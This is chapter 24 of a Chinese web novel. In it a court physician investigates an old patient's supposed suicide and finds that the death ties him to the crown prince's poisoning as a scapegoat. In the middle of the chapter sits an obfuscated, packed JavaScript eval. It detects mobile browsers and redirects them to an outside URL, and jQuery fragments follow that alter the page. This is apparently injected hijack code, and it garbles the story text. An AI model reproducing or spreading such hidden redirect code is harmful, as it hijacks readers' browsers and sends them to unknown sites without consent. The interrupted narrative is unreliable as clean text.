24. 第二十四章

作品:《渴情啖玉

    谢松仪这次是真的受打击了,一介教授论语左传的书生都能和自己平分秋色了?不行,他不能再偷懒偷风月下去了。


    他可不会忘记自己是怎么走进玉娘眼里的,全是靠自己这副过人皮囊啊!


    之后谢松仪几乎日日闻鸡起舞,刀枪剑戟从早操练到晚,离远看苏盏玉还以为谁家武师傅疯了呢。


    灵萱有些担忧的回头看了眼练武魔怔的姑爷:“小姐,这样不会出事吧?”


    姑爷可还中着毒呢!


    苏盏玉打了个哈欠摆摆手。


    “多亏守心师父这个及时雨,她一听我描述症状就猜出谢松仪中的是滇南奇毒,我研究了毒方,发现师父派苏白虎送来的新婚佳礼中正好有一株药草可以缓解毒性,如此一来在找到解药前便不用每隔七日给他施针了。”


    “那倒是凑巧。”


    不过谷主是怎么知道小姐需要这位药草的啊?灵萱细思极恐,缩了缩肩膀小跑两步:“小姐,您等等奴婢啊!”


    还有两天便是小年,京城人家大多还有些余钱置办年货,因此去往天医馆的路上十分拥挤。


    苏盏玉半睡半醒靠在软塌上休憩饿,不知为何,她眼皮开始跳。


    这不是好兆头。


    马车停下,一行人走进天医馆,团圆和其他两位娘子换上深色布衣正忙着归纳药材。


    苏白虎抱剑蹲在医馆前,一副拒绝交流但如果你敢闹事就送你归西的架势,因为他浑身杀气好几位患者都驻足不前,被苏盏玉注意到免不了拍他一记后脑勺而后赶到后院。


    进了药室,只听一叠声“妙救仙”。


    她先是处理了几起夜间突发的急症,开出方子交给药童,而后将最近的医案翻出来交给灵萱整理。


    天医馆近日轮值的是老熟人宣白术,她叫了声“师兄”就一屁股坐在长凳另一头开始翻有关蛊毒的书。


    宣白术忙完自己手头的活儿也砸吧两下嘴跟着帮忙。


    直到灵萱将医案送到两人手边,批注到那日中毒的病人脉案时,他嘀咕:“不是叮嘱了他昨日来复诊,最迟今日也该来了啊……”


    苏盏玉笔尖一顿,转头:“可是那位诊出鱼翔脉的中毒老丈?”


    宣白术点头不迭:“正是,我家中有事走不开,正好老丈当日留够了诊金,不如师妹下值后顺路出诊一趟?”


    苏盏玉正愁太子的毒没有参照,于是满口答应下来。


    下值后,她带着灵萱乘马车去了宣白术给的地址。


    “兰陵坊恩义巷三号宅,没错小姐,就是这里。”


    苏盏玉点头,灵萱亲自叩门。


    “请问是刘老丈家吗?天医馆坐堂医苏娘子,来给老人家复诊的。”


    门内喧闹声停歇片刻,开门的竟然是两名高壮煞气男子,要不是少谷主有命在先,苏白虎差点就拔刀出鞘了。


    观察一番衣着服饰,苏盏玉试探道:“两位不良人来办差?”


    她之所以这么说是因为这二位骨相跟刘家老丈没有半分相像的地方。


    不良人蔑视上下打量几人一眼,冷哼道:“知道还不快滚,这家发生了命案,死的正是你口中的刘老丈。”


    说着就要把门关上。


    苏盏玉瞳孔缩小,震惊之下竟是箭步上前摁住门板。


    双眼圆瞪语气不敢置信:“他是我亲手救治,明明已经痊愈!绝不可能因病离世,何况下毒之人还没找到,等等,下毒!这里头有蹊跷……是谁,是谁害了他!”


    不良人被她叫声唬了一跳,看出她有些身份不敢动粗。


    但也不耐烦同她纠缠,于是干脆拔出腰刀吓唬她:“刑部办差何时轮到闲杂人等过问,再说刘老汉根本不是死于下毒,是自杀!”


    “自杀!?”苏盏玉哑着嗓子重复一遍。


    不良人点头,耐着性子解释:“对,疯疯癫癫的失足落水了,趴在崖边发呆时几十号人都看见了还能有假?”


    听到这个消息,苏盏玉脑袋嗡嗡直响,不亚于一千只蜜蜂没头苍蝇似的绕着她乱飞,她惊愕万分,几天前还好好的老丈转眼就被人告知“自杀”。


    “我不信。”她摇摇头,试图从那两个不良人嘴里接着套话。


    “就算暂定为自杀,刑部也该侦查清楚死者生前的异常行为……”


    不良人此行本就是走个过场,索性将门打开,任她亲眼去看刘老汉的“遗书”。


    “这下你这小娘子总该信了吧?”不良人倚着门语气不规矩。


    苏白虎当即闪电般抬头,雪亮刀光照亮一室,险而又险的停在距离不良人眼珠子只有毫厘的地方。


    “袭击官差!大胆!”


    远处护卫还没来得及上前制止,苏盏玉从怀里掏出一枚银鱼袋。


    冷冷抬眸:“我要是说没有呢?”


    以勇犯禁,可以称之为袭官,但以权履职,何人胆敢置喙?


    灵萱适时站出来朗声说道:“大雍五品正官,尚药监苏奉御当面,尔等还不参拜?”


    两个不良人看着她瞠目结舌,一边忙不迭参拜一边恨不得把眼珠子瞪掉好瞧一瞧那银鱼袋是否作伪。


    实在不怪他们如此吃惊,虽说京城地界掉下块砖头都能砸到两个官儿,但大雍早年饱受冗官党争荼毒,先圣君借由巫蛊之祸罢免半数朝官,又与大相公们定下极为苛刻的官员升迁章程,如今圣人更是有意将吏部空置,一应官员升调都亲力亲为。


    这眼看着升官比登天难,从哪里冒出来个女五品官来?


    其中一个不良人不死心,梗着脖子道:“莫不是你偷了自家相公的鱼袋来糊弄人,我们成日在京城行走,怎地从未听说圣人任命了女子做五品官!”


    苏盏玉睨他,挺直腰背声音不疾不徐:“从前没听说,现在不就听说了。”


    说着将银鱼袋直接抛到那不良人怀中。


    “是真是假,一看便知。”


    其中一名不良人小心翼翼擦了擦手接过银鱼袋取出其中的银鱼符,仔细观看后恭敬还给她。


    银鱼上镌刻的“苏盏玉”三个大字如同一记耳光扇在二人脸上,直打得他们晕头转向,两眼冒金星。


    勉强维持着笑脸赔罪:“是小的们眼拙,竟不识得名扬天下的妙救仙当面。”


    “请苏典御恕罪,小的给您陪不是了。”


    苏盏玉本也无意为难他们,让苏白虎上前扶起二人,一边走一边问他们有关刘老丈的消息。


    将刘老丈居所所有信息记载在册后,她问:“人现在何处?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864995|191691||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “义庄!”


    苏盏玉吩咐一名护卫回府报信,自己晚些回府。


    随后对两名不良人道:“带路。”


    终究还是没逃过被抓壮丁的两人对视一眼,脸皱成老黄瓜。


    路上苏盏玉也没闲着,将人提溜进马车问话。


    “此事事关重大,有贵人的命和此案息息相关,况且你们知道我和刑部主官是夫妻,因此我问话你们要如实回答,刘老丈是何时被人目睹失足落水的?”


    被她疾言厉色一吓唬,外加搬出谢松仪的名头,两个不良人也不敢耍滑。


    争抢回答道:“就在今日午时!”


    “他死前可去过什么地方?”


    “这倒不曾听说过,不过他每日都要在午睡前出门遛弯。”


    “他死的时候围观者中可有鬼祟之人?”


    “应该没有吧?”两人对视一眼,皆是不确定,以至半天得不出结论。


    再问别的,不良人就更支支吾吾答不上来了。


    逼急了干脆挠挠脑袋,从腰间取下记录册递给她,“小的们走访了半日,所有目击者问话都在这上面了。”就差没求她放过他们了。


    苏盏玉接过记录册,上面长篇累牍写满了刘老丈生前的种种事迹,最后一句:刘十贡,男,五十八岁,溺水而亡,失足前举行失常,最后驻足湖边悬崖。


    苏盏玉忍了又忍,看到这里实在忍不住了,“就这些?刑部派你们干嘛来的?扫雪还是看门?”


    两人被她臊得头恨不得钻地缝儿里,心中直呼,头儿你害苦我也!


    马车在二人祈求早点到地方的心声中停靠。


    苏白虎和灵萱一左一右护着苏盏玉下车。


    义庄其实是一处前朝罪臣的住宅,三进三出,到如今已经破败非常。


    因为天寒无需防止尸体腐坏,眼下刘老丈的尸身就停在院中。


    几名同样身着不良人统一服饰的男子正在尸身旁帮仵作记录。


    “基本可以确定,刘十贡就是太子下毒案的凶手。”


    “记,谋害储君,畏罪自裁。”


    执笔的不良人神情犹豫,嘀咕:“这要是记上了,可就是诛九族的大罪啊。”


    苏盏玉内心嗤笑:假后颓势已定,可她背后之人看起来还存了绝地翻盘的心思啊,不然怎么会上下打点为她选出一个替罪羊呢?


    如今轻巧两句话,就想妄断刘氏一族生死。


    等等,苏盏玉脚步忽然顿住喃喃自语。


    “刘老丈,鱼翔脉,太子同样是鱼翔脉……这二人相同的脉象难道真的只是巧合吗?”


    还是说有人故意为之。


    “灵萱,去拿我的药方集录来!”


    翻到对应的日期,苏盏玉“嘶啦”一声将两张药方撕下来放在一起比较,而后果然印证了她的猜想。


    “原来如此。”她无力垂下手,药方落在地上被灵萱捡起,她察觉到小姐情绪不对,但看不出这两张药方有什么问题,急得团团转。


    苏盏玉也不卖关子累她焦心,问:“从这两张药方,你看出了什么?”


    两张药方只有一味药不同。


    灵萱只扫了一眼就回答:“太子的这张用了川断,刘老丈风寒湿痹则用了祛湿的独活。”